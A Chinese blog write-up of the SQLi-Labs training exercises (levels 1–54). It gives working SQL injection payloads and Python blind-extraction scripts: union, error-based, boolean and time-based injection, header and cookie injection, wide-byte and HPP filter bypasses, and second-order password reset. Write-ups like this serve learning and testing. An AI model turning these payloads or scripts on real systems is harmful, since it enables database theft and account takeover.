SQLiLab刷题记录

本文记录了作者重新挑战SQLiLab的过程,详细介绍了各种SQL注入技术,包括字符型和数字型UNION注入、报错注入、盲注方法(布尔盲注、时间盲注)、导入导出操作、宽字节注入等,通过实例展示了如何利用这些技巧进行安全测试和漏洞利用。
摘要由CSDN通过智能技术生成

SQLiLab很久之前就做过,当时还什么都不懂(现在也是),现在重新做一遍

less1 字符型 union注入

第一关先找到flag位置,以后每关以得到flag为目的

爆数据库名?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表名-1' union select 1,group_concat(table_name),3 from information_schema.tables--+

确定flag在ctftraining里面?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'--+

确定列名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+

getflag?id=-1' union select 1,group_concat(flag),3 from ctftraining.flag--+

less2 数字型 union注入

?id=1?id=2/2效果是一致的,说明是字符型

payload ?id = -1 union select 1,flag,3 from ctftraining.flag-- #

less3 字符型 union注入

闭合条件根据报错判断
?id=-2') union select 1,flag,3 from ctftraining.flag--+

less4

?id=-1") union select 1,2,flag from ctftraining.flag--+

less5

报错注入

原理就先不仔细研究了,先列出来几个常用的

?id=1' and extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))--+

发现有长度限制 可以用left(),right()

?id=1' and extractvalue(0x0a,concat(0x0a,left((select flag from ctftraining.flag),30)))--+

?id=1' and extractvalue(0x0a,concat(0x0a,right((select flag from ctftraining.flag),30)))--+

列举常用的

函数/语句usage
floor()?id=1’ and (select 1 from (select count(*),concat((select flag from ctftraining.flag),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
extractvalue()?id=1’ and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))–+
updatexml()?id=1’ and (updatexml(1,concat(0x7e,(select flag from ctftraining.flag),0x7e),1))–+
geometrycollection()?id=1’ and ( geometrycollection((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
multipoint()?id=1’ and (multipoint((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
polygon()?id=1’ and (polygon((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
multipolygon()?id=1’ and (multipolygon((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
linestring()?id=1’ and (linestring((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
multilinestring()?id=1’ and (multilinestring((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
exp()?id=1’ and (exp(~(select * from(select flag from ctftraining.flag)a)))–+
  1. extractvalue() updatexml() 原理
  2. 郁离歌师傅的总结https://blog.csdn.net/like98k/article/details/79646512
  3. https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

盲注方法

1. 布尔盲注

通常会有不同输入导致不同结果(bool) ,这种不同可以直观体现出来(像返回数据,返回内容不同)
关键操作应该是截取数据,构造布尔表达式
常用截取数据的函数

函数用法
mid()MID(string,start[,length]) string为要截取的字符串,start为起始位置,length可选,默认为剩下全部
substr(),substring()substring(string, start, length) string为要截取的字符串,start为起始位置,length为截取的长度
left() , right()Left ( string, n ) string为要截取的字符串,n为长度
ORD(),ASCII()返回ASCII码值

上面的string都可以是一个表达式.如 (select flag from flag)
构造布尔表达式最简单的就是通过and,or之类的,再搭配= > < >= <=

>构造出的bool值
# -*- coding: utf-8 -*-
# @Time : 20.12.8 20:32
# @author:lonmar
import requests
import time
# ?id=1' and 1=(substr((select flag from ctftraining.flag),1,1)='f')--+
url = 'http://acfd693d-9472-49b4-be60-60bc099104d7.node3.buuoj.cn/Less-5/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 1
while True:
    esp = 128
    ebp = 32
    mid = 0
    tmp = 0
    while True:
        # time.sleep(0.1) # buu有waf
        tmp = mid
        mid = int((esp + ebp) / 2)
        payload = f"?id=1' and substr(({sql}),{i},1)>'{chr(mid)}'--+"
        response = requests.get(url=url + payload)
        if 'You are in...........' in response.text:
            ebp = mid
        else:
            esp = mid
        if tmp == mid:
            flag = flag + chr(mid+1)
            print(flag)
            break
    i = i + 1
    if chr(mid+1) == '}':
        break

通过正则构造bool值

就是利用简单的正则来构造布尔表达式
常用的: like() regexp()

如:
?id=1' and (select flag from ctftraining.flag) regexp '^flag'--+ 是bool 1
?id=1' and (select flag from ctftraining.flag) regexp '^flag['--+ 是bool 0
id=1' and (select flag from ctftraining.flag) like 'flag%'--+ bool 1
?id=1' and (select flag from ctftraining.flag) like 'flag[%'--+ bool 0
使用regexp可以用正则范围如'^[a-z]'这样的确定范围
使用like可以先用_来确定长度,再一个一个替换确定单个字符(多线程)

2. 时间盲注

利用if语句,if(a,b,c) ,延时可以有很多种方法,如sleep(),BENCHMARK(count,expr),笛卡尔积等
IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false则返回expr3的值
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.9 20:13
# @author:lonmar
import requests

url = 'http://sqlilab.com:8000/Less-5/'
sql = 'select flag from ctftraining.flag'
# id=1' and if(substr((select flag from ctftraining.flag),1,1)='f',0,sleep(3))--+
flag = ''
i = 0
while True:
    esp = 128
    ebp = 32
    mid = 0
    i = i + 1
    while True:
        tmp = mid
        mid = int((esp + ebp) / 2)
        payload = f"?id=1'and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"
        if tmp == mid:
            flag = flag + chr(mid + 1)
            print(flag)
            break
        try:
            response = requests.get(url=url + payload, timeout=0.3)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less6

?id=1" and extractvalue(0x0a,concat(0x0a,left((select flag from ctftraining.flag),30)))--+

?id=1" and extractvalue(0x0a,concat(0x0a,right((select flag from ctftraining.flag),30)))--+

# -*- coding: utf-8 -*-
# @Time : 20.12.8 20:32
# @author:lonmar
import requests
import time
# ?id=1' and 1=(substr((select flag from ctftraining.flag),1,1)='f')--+
url = 'http://acfd693d-9472-49b4-be60-60bc099104d7.node3.buuoj.cn/Less-6/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 1
while True:
    esp = 128
    ebp = 32
    mid = 0
    tmp = 0
    while True:
        time.sleep(0.1)
        tmp = mid
        mid = int((esp + ebp) / 2)
        payload = f'?id=1" and substr(({sql}),{i},1)>"{chr(mid)}"--+'
        response = requests.get(url=url + payload)
        if 'You are in...........' in response.text:
            ebp = mid
        else:
            esp = mid
        if tmp == mid:
            flag = flag + chr(mid+1)
            print(flag)
            break
    i = i + 1
    if chr(mid+1) == '}':
        break

less7 导入导出相关操作

load_file() 导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (selectcount(*) from mysql.user)>0/*如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/*返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
在实际的注入中,我们有两个难点需要解决:

  1. 绝对物理路径 常用路径 http://www.cnblogs.com/lcamry/p/5729087.html
  2. 构造有效的畸形语句 (报错爆出绝对路径)

示例:

示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”

-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替

文件导入到数据库

LOAD DATAINFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串

示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t'
lines terminated by '\n'

将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。

导入到文件

SELECT…INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。

关于本题

还是用盲注,因为虽然MySQL可以操作文件,但是没有有效路径来写结果,如下
在这里插入图片描述

import requests
url = 'http://sqlilab.com:8000/Less-7/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:
    esp = 128
    ebp = 32
    mid = 0
    i = i + 1
    while True:
        tmp = mid
        mid = int((esp + ebp) / 2)
        payload = f"?id=1')) and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"
        if tmp == mid:
            flag = flag + chr(mid + 1)
            print(flag)
            break
        try:
            response = requests.get(url=url + payload, timeout=0.3)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less8

时间盲注

# -*- coding: utf-8 -*-
# @Time : 20.12.9 20:13
# @author:lonmar
# 时间盲注
import requests
url = 'http://sqlilab.com:8000/Less-8/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:
    esp = 128
    ebp = 32
    mid = 0
    i = i + 1
    while True:
        tmp = mid
        mid = int((esp + ebp) / 2)
        payload = f"?id=1'and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"
        if tmp == mid:
            flag = flag + chr(mid + 1)
            print(flag)
            break
        try:
            response = requests.get(url=url + payload, timeout=0.3)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less9

时间盲注
?id=1' and sleep(5)--+

import requests
url = 'http://sqlilab.com:8000/Less-9/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:
    esp = 128
    ebp = 32
    mid = 0
    i = i + 1
    while True:
        tmp = mid
        mid = int((esp + ebp) / 2)
        payload = f"?id=1' and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"
        if tmp == mid:
            flag = flag + chr(mid + 1)
            print(flag)
            break
        try:
            response = requests.get(url=url + payload, timeout=0.3)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less10

同上
"构成闭合

less11

POST类型的,直接POST如下数据(万能密码)
passwd=dsa' or 1=1#&submit=Submit&uname=asd
POST
passwd=dsa' and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less12

同上")构成闭合
passwd=dsa") and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less13

同上 ') 闭合
passwd=dsa') and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less14

"闭合
passwd=dsa" and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less15

盲注,下面的可以测出是'闭合
passwd=dsa' or sleep(5)#&submit=Submit&uname=asd
脚本:

import requests
url = 'http://sqlilab.com:8000/Less-15/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp + ebp) / 2)
        data = {
            'uname': '1',
            'passwd': f"1' or substr(({sql}),{i},1)>'{chr(mid)}'-- "
        }
        response = requests.post(url=url, data=data)
        if mid == tmp:
            flag = flag + chr(mid + 1)
            print(flag)
            break
        if 'flag.jpg' in response.text:
            ebp = mid
        if 'slap.jpg' in response.text:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less16

同上.下面的可以测出")
passwd=dsa") or 1=1#&submit=Submit&uname=asd

import requests
url = 'http://sqlilab.com:8000/Less-16/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp + ebp) / 2)
        data = {
            'uname': '1',
            'passwd': '")'+f" or substr(({sql}),{i},1)>'{chr(mid)}'-- "
        }
        response = requests.post(url=url, data=data)
        if mid == tmp:
            flag = flag + chr(mid + 1)
            print(flag)
            break
        if 'flag.jpg' in response.text:
            ebp = mid
        if 'slap.jpg' in response.text:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less17 insert

可以直接报错注入

POST /Less-17/ HTTP/1.1
Host: sqlilab.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://sqlilab.com:8000
DNT: 1
Connection: close
Referer: http://sqlilab.com:8000/Less-17/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=adsa'or (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit

在这里插入图片描述

less18

这题是在ua这的

http头的注入

可以参考 https://zhuanlan.zhihu.com/p/27553821

可以报错注入和时间盲注

报错注入比较简单

1' and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))) and '
在这里插入图片描述
时间盲注:
在这里插入图片描述
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.10 19:57
# @author:lonmar
import requests

url = 'http://sqlilab.com:8000/Less-18/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = f"1' and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2)) and '"
        data = {
            'uname': 'Dumb',
            'passwd': '0',
            'submit': 'Submit'
        }
        kv = {
            'user-agent': payload
        }
        # print(response.text)
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        try:
            response = requests.post(url=url, data=data, headers=kv, timeout=0.5)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less19

上面脚本改一改,Referer处

# -*- coding: utf-8 -*-
# @Time : 20.12.10 19:57
# @author:lonmar
import requests

url = 'http://sqlilab.com:8000/Less-19/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = f"1' and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2)) and '"
        data = {
            'uname': 'Dumb',
            'passwd': '0',
            'submit': 'Submit'
        }
        kv = {
            'Referer': payload
        }
        # print(response.text)
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        try:
            response = requests.post(url=url, data=data, headers=kv, timeout=0.5)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less20

cookie注入

# -*- coding: utf-8 -*-
# @Time : 20.12.10 20:26
# @author:lonmar
import requests
url = 'http://sqlilab.com:8000/Less-20/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = f"'and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2))#"
        kv = {
            'Cookie': "uname=Dumb"+payload
        }
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        try:
            response = requests.get(url=url, headers=kv, timeout=0.2)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less21

也是cookie这的,不过对cookie进行base64编码了 (盲注没尝试成功)
直接报错注入(闭合是')
q') and extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))#
=>
cScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGZsYWcgZnJvbSBjdGZ0cmFpbmluZy5mbGEpLDB4N2UpKSM=

在这里插入图片描述

盲注,盲注需要注意uname=Dumb,uname后面的名字要是在数据库中存在的,base64编码后要再对payload进行url编码.

# -*- coding: utf-8 -*-
# @Time : 20.12.11 11:04
# @author:lonmar
import requests
import base64
import urllib
url = 'http://sqlilab.com/Less-21/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = f"Dumb') and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2))#"
        payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        payload = urllib.parse.quote(payload)
        kv = {
            'Cookie': 'uname='+payload
        }
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        try:
            response = requests.get(url=url, headers=kv, timeout=0.2)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less22

同上
闭合是"

q" and extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))#
=>
cSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZmxhZyBmcm9tIGN0ZnRyYWluaW5nLmZsYWcpLDB4N2UpKSM=

盲注脚本

# -*- coding: utf-8 -*-
# @Time : 20.12.11 11:04
# @author:lonmar
import requests
import base64
import urllib
url = 'http://sqlilab.com/Less-22/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = 'Dumb"'+f"and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2))#"
        payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        payload = urllib.parse.quote(payload)
        kv = {
            'Cookie': 'uname='+payload
        }
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        try:
            response = requests.get(url=url, headers=kv, timeout=0.2)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

开始有过滤了

less23 过滤 # –

bool盲注

通过查看后端代码可以看到过滤了-- #
FUZZ可以FUZZ出来一些显示正常的语句
在这里插入图片描述
然后构造下面的 -2’
在这里插入图片描述
在这里插入图片描述
?id=1' and 1 and '1'='1 会正常返回?id=1' and 0 and '1'='1不会正常返回

可以构造bool盲注 或者 时间盲注
?id=1' and sleep(3) and '1'='1

bool盲注脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.11 11:35
# @author:lonmar
import requests
url = 'http://sqlilab.com/Less-23/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = f"?id=1' and (substr(({sql}),{i},1)>'{chr(mid)}') and '1"
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        res = requests.get(url=url+payload)
        if 'Dumb' in res.text:
            ebp = mid
        else:
            esp = mid
+    if chr(mid+1) == '}':
        print(flag)
        break

union

更简单的是构造union注入
?id=-1' union select 2,(select flag from ctftraining.flag), '1
后端sql语句为
select * from users where id = '$id' limit 0,1

构造拼接
select * from users id = '-1' union select 1,2,'3' limit 0,1
select * from users id = '-1' union select 1,(select flag from ctftraining.flag),'3' limit 0,1

报错注入

?id=-1' or (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))) or '1
sql语句拼接成
select * from users where id = '-1' or (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))) or '1' limit 0,1

less24 二次排序注入

漏洞产生原理还是对用户输入未做限制

查看注册时,是怎么防护sql注入的,直接把"转义,应该是能够防止黑客逃逸这个引号,所以注册时没有问题
在这里插入图片描述

再看修改密码处,username没有过滤和防护 , 就可以产生注入,最简单利用的是修改任意用户密码

在这里插入图片描述
修改admin密码利用:

  1. 注册admin’#
  2. 修改admin’#密码
  3. 发现可以登录admin用户(利用修改后的密码)

尝试了下盲注之类的,但是利用失败了

less25 过滤or and

仍然可以联合注入
?id=-1' union select 1,2,flag from ctftraining.flag--+

本关主要为 or and 过滤,如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||

在这里插入图片描述

less25a

数字型
?id=0 union select 1,flag,3 from ctftraining.flag#

less26 过滤 空格 /* – # // or and

在这里插入图片描述

payload: ?id=0'union%0bselect%0b1,(select(flag)from(ctftraining.flag)),'1

对于过滤空格:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
对于过滤注释:
select * from users where id = '$id' limit 0,1;
$id = 1' union select 1,2,'3
拼接为
select * from users where id = '1' union select 1,2,'3' limit 0,1;

less26a

闭合变成了 ") 构造 ?id=1")("1
?id=0')union%0bselect%0b1,(select(flag)from(ctftraining.flag)),('1

less27 过滤+ union select

在前面的基础上又加上了 union和select,但是可以用大小写绕过
在这里插入图片描述
?id=0'uniOn%0bseLect%0b1,(seLect(flag)from(ctftraining.flag)),'1

less27a

"$id"
payload:
?id=0"uniOn%0bseLect%0b1,(seLect(flag)from(ctftraining.flag)),"1

less28

闭合变成了('$id')
?id=0')union%0bselect%0b1,(select(flag)from(ctftraining.flag)),('1

less28a

/?id=0')union%0bselect%0b1,(select(flag)from(ctftraining.flag)),('1

less29

HPP攻击:
在这里插入图片描述

原理可见: HPP 的攻击举例与防范

但是这篇文章并没有很具体的给出防范措施

本题用这个来绕过WAF

在login.php里,输'之类的会被waf探测到
在这里插入图片描述
/login.php?id=1&id=-2'union select 1,(select flag from ctftraining.flag),3--+可绕过
在这里插入图片描述
源码分析

后端waf,任何非数字的都会被waf掉
在这里插入图片描述
java_implimentation()函数之间获取同名参数的第一个
在这里插入图片描述
后端检查的实际上是模拟服务器apache,语言jsp,只检测第一个id所以会出现问题.绕过waf
在这里插入图片描述

less30

同上,闭合条件变为"

http://sqlilab.com/Less-30/login.php?id=1&id=-2"union select 1,(select flag from ctftraining.flag),3--+

less31

")

http://sqlilab.com/Less-31/login.php?id=1&id=-2")union select 1,(select flag from ctftraining.flag),3--+

less32

宽字节注入

参考 https://www.cnblogs.com/Rain99-/p/10583406.html

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

1、%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法

http://sqlilab.com/Less-32/?id=-1%df' union select 1,2,flag from ctftraining.flag--+
%df' => %df\' => %df%5c%27 =>x'

后端waf
在这里插入图片描述

less33

http://sqlilab.com/Less-33/?id=-1%df' union select 1,2,flag from ctftraining.flag--+
同上

less34 宽字节+盲注

POST uname=admin1%df'or 1=1-- #&passwd=1&submit=Submit
在这里插入图片描述
可以bool盲注:

写脚本遇到一个比较坑的,request自动对POST的data和get的url进行编码,导致%也被编码
解决方法 先解码一下再POST 参考https://www.cnblogs.com/deen-/p/7191608.html

# -*- coding: utf-8 -*-
# @Time : 20.12.11 18:11
# @author:lonmar
import requests
import urllib
url = 'http://sqlilab.com/Less-34/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = "admin%df%27" + f'or 1=(ascii(substr(({sql}),{i},1))>{mid})-- #'
        payload = urllib.parse.unquote(payload)
        data = {
            'passwd': '1',
            'submit': 'Submit',
            'uname': payload
        }
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        res = requests.post(url=url, data=data)
        if 'flag.jpg' in res.text:
            ebp = mid
        else:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less35

http://sqlilab.com/Less-35/?id=-1 union select 1,2,flag from ctftraining.flag

less36

和less34差不多

# -*- coding: utf-8 -*-
# @Time : 20.12.11 19:27
# @author:lonmar
import requests
import urllib
url = 'http://sqlilab.com/Less-36/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = "?id=admin%df'" + f'or 1=(ascii(substr(({sql}),{i},1))>{mid})-- #'
        payload = urllib.parse.unquote(payload)
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        res = requests.get(url=url+payload)
        if 'Dumb' in res.text:
            ebp = mid
        else:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less37

直接拿34脚本跑

# -*- coding: utf-8 -*-
# @Time : 20.12.11 19:37
# @author:lonmar
import requests
import urllib
url = 'http://sqlilab.com/Less-37/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = "admin%df%27" + f'or 1=(ascii(substr(({sql}),{i},1))>{mid})-- #'
        payload = urllib.parse.unquote(payload)
        data = {
            'passwd': '1',
            'submit': 'Submit',
            'uname': payload
        }
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        res = requests.post(url=url, data=data)
        if 'flag.jpg' in res.text:
            ebp = mid
        else:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

堆叠注入Stacked injection

原理 : https://www.cnblogs.com/lcamry/p/5762905.html

简单概括就是可以执行多条任意的语句.

局限性:

在这里插入图片描述
Mysql数据库在某些情况下可以进行堆叠注入

Oracle数据库本身并不支持这种堆叠查询,但是可以PL/SQL借助扩展进行堆叠注入

通过匿名函数 dbms_xmlquery.getXML()或者dbms_xmlquery.newcontext()实现

less38-45

sqli-lab的堆叠注入好像没什么意思,也没回显.以后有时间再做

less46 order by 后的 injection

姿势参考 : sql注入之order by注入–王叹之

?sort=if(1=2,username,(select id from information_schema.tables)) 会有Subquery returns more than 1 row
?sort=if(1=2,username,(select id from information_schema.tables))

利用这个可以bool盲注

# -*- coding: utf-8 -*-
# @Time : 20.12.11 20:32
# @author:lonmar

import requests
url = 'http://sqlilab.com/Less-46/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        # ?sort=if(substr((select flag from ctftraining.flag),1,1)>'e',username,(select id from information_schema.tables))
        payload = f"?sort=if(substr(({sql}),{i},1)>'{chr(mid)}',username,(select id from information_schema.tables))"
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        res = requests.get(url=url+payload)
        if 'Subquery returns more than 1 row' in res.text:
            esp = mid
        else:
            ebp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

也可以时间盲注:

# -*- coding: utf-8 -*-
# @Time : 20.12.11 20:47
# @author:lonmar

import requests
url = 'http://sqlilab.com/Less-46/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:
    i = i + 1
    esp = 128
    ebp = 32
    mid = 0
    while True:
        tmp = mid
        mid = int((esp+ebp)/2)
        payload = f"?sort=if(substr(({sql}),{i},1)>'{chr(mid)}',username,sleep(5))"
        if mid == tmp:
            flag = flag + chr(mid+1)
            print(flag)
            break
        try:
            res = requests.get(url=url + payload, timeout=0.5)
            ebp = mid
        except:
            esp = mid
    if chr(mid+1) == '}':
        print(flag)
        break

less47

同上
http://sqlilab.com/Less-47/?sort=' or if(1=2,id,(select id from information_schema.tables))--+ 会有Subquery returns more than 1 row
根据这个进行盲注

less48

http://sqlilab.com/Less-48/?sort=if(1=2,id,(select id from information_schema.tables)) 无回显,别的正常
根据这个构造bool盲注

less49

http://sqlilab.com/Less-49/?sort=' or if(1=2,id,(select id from information_schema.tables))--+

http://sqlilab.com/Less-49/?sort=' or if(1=1,id,(select id from information_schema.tables))--+

less50

http://sqlilab.com/Less-50/?sort=if(1=2,id,(select id from information_schema.tables))

http://sqlilab.com/Less-50/?sort=if(1=1,id,(select id from information_schema.tables))

less51

http://sqlilab.com/Less-51/?sort=' or if(1=2,id,(select id from information_schema.tables))--+

and

http://sqlilab.com/Less-51/?sort=' or if(1=1,id,(select id from information_schema.tables))--+

less52

http://sqlilab.com/Less-52/?sort=if(1=1,id,(select id from information_schema.tables))

and

http://sqlilab.com/Less-52/?sort=if(1=2,id,(select id from information_schema.tables))

less53

http://sqlilab.com/Less-53/?sort=' or if(1=2,id,(select id from information_schema.tables))--+

http://sqlilab.com/Less-53/?sort=' or if(1=1,id,(select id from information_schema.tables))--+

less54

注表名:

?id=0' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

Your Login name:challenges
Your Password:IBY7ZSE2AR

注列名:

